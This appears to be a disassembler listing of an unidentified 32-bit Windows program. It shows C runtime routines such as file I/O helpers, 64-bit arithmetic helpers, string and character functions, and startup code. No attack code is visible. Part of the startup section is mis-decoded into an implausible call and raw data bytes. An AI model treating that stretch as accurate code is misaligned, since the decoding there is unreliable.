		mov	esi, offset dword_442B58
		push	edi
		push	esi
		call	sub_4202AB
		mov	edi, eax
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	[esp+14h+arg_0]
		push	esi
		call	sub_41F504
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_420338
		add	esp, 18h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D88C	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D939
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D8DC
		cmp	edi, 1
		jz	short loc_41D8DC
		cmp	edi, 2
		jnz	short loc_41D939


loc_41D8DC:				; CODE XREF: seg000:0041D8D0j
					; seg000:0041D8D5j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D8F3
		push	esi
		call	sub_4226B6
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D8F3:				; CODE XREF: seg000:0041D8E4j
		push	esi
		call	sub_41E25B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D908
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D91C
; ---------------------------------------------------------------------------


loc_41D908:				; CODE XREF: seg000:0041D8FFj
		test	al, 1
		jz	short loc_41D91C
		test	al, 8
		jz	short loc_41D91C
		test	ah, 4
		jnz	short loc_41D91C
		mov	dword ptr [esi+18h], 200h


loc_41D91C:				; CODE XREF: seg000:0041D906j
					; seg000:0041D90Aj ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42261C
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D946
; ---------------------------------------------------------------------------


loc_41D939:				; CODE XREF: seg000:0041D8C8j
					; seg000:0041D8DAj
		mov	ds:dword_4E14F8, 16h
		or	eax, 0FFFFFFFFh


loc_41D946:				; CODE XREF: seg000:0041D937j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D950	proc near		; CODE XREF: sub_413107+19Ep
					; sub_420375+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D969
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D969:				; CODE XREF: sub_41D950+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D984	proc near		; CODE XREF: seg000:004168EEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D9A8
		xor	eax, eax
		jmp	loc_41DA75
; ---------------------------------------------------------------------------


loc_41D9A8:				; CODE XREF: sub_41D984+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D9BB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D9C2
; ---------------------------------------------------------------------------


loc_41D9BB:				; CODE XREF: sub_41D984+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D9C2:				; CODE XREF: sub_41D984+35j
					; sub_41D984+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D9F6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D9F6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D9DC
		mov	edi, eax


loc_41D9DC:				; CODE XREF: sub_41D984+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	near ptr sub_41C9B0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DA3C
; ---------------------------------------------------------------------------


loc_41D9F6:				; CODE XREF: sub_41D984+47j
					; sub_41D984+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DA41
		test	ecx, ecx
		jz	short loc_41DA0A
		push	esi
		call	sub_41E25B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA83


loc_41DA0A:				; CODE XREF: sub_41D984+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DA1D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DA1F
; ---------------------------------------------------------------------------


loc_41DA1D:				; CODE XREF: sub_41D984+8Aj
		mov	edi, ebx


loc_41DA1F:				; CODE XREF: sub_41D984+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42280E
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DA7A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DA7A


loc_41DA3C:				; CODE XREF: sub_41D984+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DA6A
; ---------------------------------------------------------------------------


loc_41DA41:				; CODE XREF: sub_41D984+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F3EF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DA83
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DA6A
		mov	[ebp+arg_C], 1


loc_41DA6A:				; CODE XREF: sub_41D984+BBj
					; sub_41D984+DDj
		test	ebx, ebx
		jnz	loc_41D9C2
		mov	eax, [ebp+arg_8]


loc_41DA75:				; CODE XREF: sub_41D984+1Fj
					; sub_41D984+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DA7A:				; CODE XREF: sub_41D984+ADj
					; sub_41D984+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DA85
; ---------------------------------------------------------------------------


loc_41DA83:				; CODE XREF: sub_41D984+84j
					; sub_41D984+CFj
		mov	eax, edi


loc_41DA85:				; CODE XREF: sub_41D984+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DA75
sub_41D984	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA8E	proc near		; CODE XREF: sub_416F11+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DAAE
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	sub_420244
		pop	ecx


loc_41DAAA:				; CODE XREF: sub_41DA8E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DAAE:				; CODE XREF: sub_41DA8E+Dj
		test	al, 1
		jz	short loc_41DACF
		test	[esp+arg_4], 2
		jz	short loc_41DACF
		mov	ds:dword_4E14F8, 0Dh
		mov	ds:dword_4E14FC, 5
		jmp	short loc_41DAAA
; ---------------------------------------------------------------------------


loc_41DACF:				; CODE XREF: sub_41DA8E+22j
					; sub_41DA8E+29j
		xor	eax, eax
		retn
sub_41DA8E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DAE0	proc near		; CODE XREF: sub_416F2B+3Fp
					; sub_41F504+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DB02
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DB43
; ---------------------------------------------------------------------------


loc_41DB02:				; CODE XREF: sub_41DAE0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DB10:				; CODE XREF: sub_41DAE0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DB10
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DB3E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DB3E
		jb	short loc_41DB3F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DB3F


loc_41DB3E:				; CODE XREF: sub_41DAE0+4Ej
					; sub_41DAE0+54j
		dec	esi


loc_41DB3F:				; CODE XREF: sub_41DAE0+56j
					; sub_41DAE0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DB43:				; CODE XREF: sub_41DAE0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DAE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_416F2B+2Dp
					; sub_41F504+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DB71
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DBC1
; ---------------------------------------------------------------------------


loc_41DB71:				; CODE XREF: sub_41DB50+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DB7F:				; CODE XREF: sub_41DB50+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DB7F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DBAA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DBAA
		jb	short loc_41DBB2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DBB2


loc_41DBAA:				; CODE XREF: sub_41DB50+4Aj
					; sub_41DB50+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DBB2:				; CODE XREF: sub_41DB50+52j
					; sub_41DB50+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DBC1:				; CODE XREF: sub_41DB50+1Fj
		pop	ebx
		retn	10h
sub_41DB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DBD0	proc near		; CODE XREF: sub_41703B+5Fp
					; sub_41703B+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DBF1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DBF1:				; CODE XREF: sub_41DBD0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DC0D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DC0D:				; CODE XREF: sub_41DBD0+27j
		or	eax, eax
		jnz	short loc_41DC29
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DC6A
; ---------------------------------------------------------------------------


loc_41DC29:				; CODE XREF: sub_41DBD0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DC37:				; CODE XREF: sub_41DBD0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DC37
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DC65
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DC65
		jb	short loc_41DC66
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DC66


loc_41DC65:				; CODE XREF: sub_41DBD0+85j
					; sub_41DBD0+8Bj
		dec	esi


loc_41DC66:				; CODE XREF: sub_41DBD0+8Dj
					; sub_41DBD0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DC6A:				; CODE XREF: sub_41DBD0+57j
		dec	edi
		jnz	short loc_41DC74
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DC74:				; CODE XREF: sub_41DBD0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DBD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC7A	proc near		; CODE XREF: sub_4176E9+BFp
					; sub_4176E9+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4E15B0
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DCAE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DD15


loc_41DC96:				; CODE XREF: sub_41DC7A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DCA7
		cmp	cl, 7Ah
		jg	short loc_41DCA7
		sub	cl, 20h
		mov	[edx], cl


loc_41DCA7:				; CODE XREF: sub_41DC7A+21j
					; sub_41DC7A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DC96
		jmp	short loc_41DD15
; ---------------------------------------------------------------------------


loc_41DCAE:				; CODE XREF: sub_41DC7A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	loc_4229BB
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DD07
		push	edi
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DD07
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	ds:dword_4E15B0
		call	loc_4229BB
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DD07
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C550
		pop	ecx
		pop	ecx


loc_41DD07:				; CODE XREF: sub_41DC7A+53j
					; sub_41DC7A+61j ...
		push	[ebp+var_4]
		call	sub_41B961
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DD15:				; CODE XREF: sub_41DC7A+1Aj
					; sub_41DC7A+32j
		pop	ebx
		leave
		retn
sub_41DC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD18	proc near		; CODE XREF: sub_4180E3+1A8p

arg_0		= dword	ptr  4

		cmp	ds:dword_44276C, 1
		jle	short loc_41DD2F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F37A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DD2F:				; CODE XREF: sub_41DD18+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_442560
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DD18	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD40	proc near		; CODE XREF: sub_420375+76p
					; sub_420375+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_44276C, 1
		jle	short loc_41DD57
		push	8
		push	[esp+4+arg_0]
		call	sub_41F37A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DD57:				; CODE XREF: sub_41DD40+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_442560
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DD40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD70	proc near		; CODE XREF: sub_4184F4+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DDBC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DDBD
		test	eax, 1
		jz	short loc_41DD9D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DDEA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DDBA


loc_41DD9D:				; CODE XREF: sub_41DD70+20j
					; sub_41DD70+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DDEA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DDEA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DD9D


loc_41DDBA:				; CODE XREF: sub_41DD70+2Bj
					; sub_41DD70+84j
		pop	edi
		pop	esi

locret_41DDBC:				; CODE XREF: sub_41DD70+6j
		retn
; ---------------------------------------------------------------------------


loc_41DDBD:				; CODE XREF: sub_41DD70+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DDF2
		repe cmpsd
		jz	short loc_41DDF2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DDE5
		cmp	ch, dh
		jnz	short loc_41DDE5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DDE5
		cmp	ch, dh


loc_41DDE5:				; CODE XREF: sub_41DD70+63j
					; sub_41DD70+67j ...
		mov	eax, 0


loc_41DDEA:				; CODE XREF: sub_41DD70+26j
					; sub_41DD70+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DDF2:				; CODE XREF: sub_41DD70+55j
					; sub_41DD70+59j
		test	eax, eax
		jz	short loc_41DDBA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DDE5
		dec	eax
		jz	short loc_41DE19
		cmp	dh, ch
		jnz	short loc_41DDE5
		dec	eax
		jz	short loc_41DE19
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DDE5
		dec	eax


loc_41DE19:				; CODE XREF: sub_41DD70+8Fj
					; sub_41DD70+96j
		pop	edi
		pop	esi
		retn
sub_41DD70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE1C	proc near		; CODE XREF: sub_418814+6p
					; sub_418832+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4E15B0, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41DE49
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41DEE2
		cmp	eax, 5Ah
		jg	loc_41DEE2
		add	eax, 20h
		jmp	loc_41DEE2
; ---------------------------------------------------------------------------


loc_41DE49:				; CODE XREF: sub_41DE1C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41DE7D
		cmp	ds:dword_44276C, esi
		jle	short loc_41DE6B
		push	esi
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41DE75
; ---------------------------------------------------------------------------


loc_41DE6B:				; CODE XREF: sub_41DE1C+42j
		mov	eax, ds:off_442560
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41DE75:				; CODE XREF: sub_41DE1C+4Dj
		test	eax, eax
		jnz	short loc_41DE7D


loc_41DE79:				; CODE XREF: sub_41DE1C+ADj
		mov	eax, ebx
		jmp	short loc_41DEE2
; ---------------------------------------------------------------------------


loc_41DE7D:				; CODE XREF: sub_41DE1C+3Aj
					; sub_41DE1C+5Bj
		mov	edx, ds:off_442560
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DEA1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41DEAA
; ---------------------------------------------------------------------------


loc_41DEA1:				; CODE XREF: sub_41DE1C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41DEAA:				; CODE XREF: sub_41DE1C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_4E15B0
		call	loc_4229BB
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DE79
		cmp	eax, esi
		jnz	short loc_41DED5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41DEE2
; ---------------------------------------------------------------------------


loc_41DED5:				; CODE XREF: sub_41DE1C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41DEE2:				; CODE XREF: sub_41DE1C+16j
					; sub_41DE1C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE7	proc near		; CODE XREF: sub_418E3D+ADp
					; seg000:00419E71p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41DEFE


loc_41DEF4:				; CODE XREF: sub_41DEE7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41DEF4


loc_41DEFE:				; CODE XREF: sub_41DEE7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41DEE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF04	proc near		; CODE XREF: sub_418E3D+7Fp
					; sub_418E3D+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41DFD1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41DFFE
		cmp	ds:dword_4E15B0, esi
		jnz	short loc_41DF55
		cmp	edi, esi
		jbe	loc_41DFFE


loc_41DF34:				; CODE XREF: sub_41DF04+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41DFFE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41DF34
		jmp	loc_41DFFE
; ---------------------------------------------------------------------------


loc_41DF55:				; CODE XREF: sub_41DF04+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_427184
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_4E15C0
		call	esi ; dword_427184
		test	eax, eax
		jnz	loc_41DFFD
		call	ds:dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41DF8F


loc_41DF80:				; CODE XREF: sub_41DF04+CBj
					; sub_41DF04+F7j
		mov	ds:dword_4E14F8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFFE
; ---------------------------------------------------------------------------


loc_41DF8F:				; CODE XREF: sub_41DF04+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41DF97:				; CODE XREF: sub_41DF04+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41DFB9
		mov	edx, ds:off_442560
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DFAE
		inc	eax


loc_41DFAE:				; CODE XREF: sub_41DF04+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41DF97


loc_41DFB9:				; CODE XREF: sub_41DF04+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_4E15C0
		call	esi ; dword_427184
		test	eax, eax
		jnz	short loc_41DFFE
		jmp	short loc_41DF80
; ---------------------------------------------------------------------------


loc_41DFD1:				; CODE XREF: sub_41DF04+Fj
		cmp	ds:dword_4E15B0, esi
		jnz	short loc_41DFE4
		push	[ebp+arg_4]
		call	sub_41B890
		pop	ecx
		jmp	short loc_41DFFE
; ---------------------------------------------------------------------------


loc_41DFE4:				; CODE XREF: sub_41DF04+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_4E15C0
		call	ds:dword_427184	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41DF80


loc_41DFFD:				; CODE XREF: sub_41DF04+6Bj
		dec	eax


loc_41DFFE:				; CODE XREF: sub_41DF04+1Aj
					; sub_41DF04+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DF04	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427720
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_4271B4	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_4E1510, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_4E150C, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_4E1508, ecx
		shr	eax, 10h
		mov	ds:dword_4E1504, eax
		xor	esi, esi
		push	esi
		call	sub_41E32D
		pop	ecx
		test	eax, eax
		jnz	short loc_41E06F
		push	1Ch
		call	sub_41E11E
		pop	ecx


loc_41E06F:				; CODE XREF: seg000:0041E065j
		mov	[ebp-4], esi
		call	loc_42321E
		call	near ptr 0B00000h
		xchg	eax, edx
		mov	ds:dword_4E2B84, eax
		call	sub_4230EC
		mov	ds:dword_4E1568, eax
		call	sub_422E9F
; ---------------------------------------------------------------------------
		dd offset dword_4D50E8
		align 2
		dw 99E8h
		dd 89FFFFDDh, 458DD075h, 59E850A4h, 82006E1Fh, 4CE1E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 1F36E856h, 50E4006Eh, 0FE3184E8h,	0A04589FFh
		dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h,	1FE85150h
		dd 5900004Bh, 658BC359h, 9875FFE8h, 0FFDD79E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E0F9	proc near		; CODE XREF: sub_41D6F2+16p
					; sub_422563+4Dp ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4E1570, 1
		jnz	short loc_41E107
		call	sub_4234AC


loc_41E107:				; CODE XREF: sub_41E0F9+7j
		push	[esp+arg_0]
		call	sub_4234E5
		push	0FFh
		call	ds:off_442550
		pop	ecx
		pop	ecx
		retn
sub_41E0F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E11E	proc near		; CODE XREF: seg000:0041E069p

arg_0		= dword	ptr  4

		cmp	ds:dword_4E1570, 1
		jnz	short loc_41E12C
		call	sub_4234AC


loc_41E12C:				; CODE XREF: sub_41E11E+7j
		push	[esp+arg_0]
		call	sub_4234E5
